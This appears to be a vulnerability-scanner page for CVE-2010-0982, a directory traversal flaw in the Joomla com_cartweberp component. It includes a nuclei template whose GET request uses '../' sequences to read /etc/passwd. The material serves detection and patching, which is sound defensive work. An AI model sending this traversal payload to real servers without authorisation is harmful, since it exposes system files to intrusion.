Joomla! Component com_cartweberp - Local File Inclusion

mediumseverity

4.3CVSS score

6.8%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the CARTwebERP (com_cartweberp) component 1.56.75 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

Allows an attacker to read arbitrary files on the server, leading to potential information disclosure and further exploitation.

Fix

Apply all relevant security patches and product upgrades.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_cartweberp&controller=../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-0982 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-0982

info:
  name: Joomla! Component com_cartweberp - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the CARTwebERP (com_cartweberp) component 1.56.75 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Allows an attacker to read arbitrary files on the server, leading to potential information disclosure and further exploitation.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/10942
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0982
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2010-0982
    cwe-id: CWE-22
    epss-score: 0.06829
    epss-percentile: 0.94074
    cpe: cpe:2.3:a:joomlamo:com_cartweberp:1.56.75:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlamo
    product: com_cartweberp
  tags: cve2010,cve,joomla,lfi,edb,joomlamo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_cartweberp&controller=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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